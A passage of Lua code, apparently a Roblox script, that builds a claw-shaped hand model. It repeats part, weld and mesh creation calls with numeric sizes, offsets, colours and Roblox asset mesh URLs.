  660. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  661. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  662. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  663. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  664. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  665. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  666. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  667. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  668. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  669. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  670. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  671. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  672. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  673. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  674. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  675. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  676. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  677. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  678. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  679. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  680. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  681. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  682. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  683. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  684. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  685. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  686. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  687. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  688. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  689. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  690. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  691. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  692. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  693. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  694. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  695. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  696. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  697. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  698. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  699. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  700. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  701. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  702. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  703. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  704. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  705. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  706. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  707. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  708. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  709. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  710. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  711. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  712. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  713. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  714. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  715. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  716. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  717. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  718. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  719. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  720. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  721. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  722. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  723. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  724. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  725. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  726. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  727. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  728. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  729. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  730. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  731. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  732. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  733. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  734. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  735. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  736. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  737. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  738. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  739. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  740. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  741. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  742. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  743. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  744. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  745. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  746. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  747. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  748. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  749. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  750. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  751. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  752. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  753. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  754. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  755. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  756. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  757. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  758. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  759. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  760. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  761. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  762. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  763. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  764. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  765. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  766. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  767. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  768. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  769. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  770. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  771. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  772. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  773. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  774. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  775. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  776. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  777. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  778. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  779. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  780. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  781. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  782. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  783. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  784. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  785. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  786. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  787. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  788. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  789. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  790. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  791. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  792. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  793. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  794. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  795. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  796. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  797. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  798. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  799. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  800. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  801. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  802. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  803. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  804. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
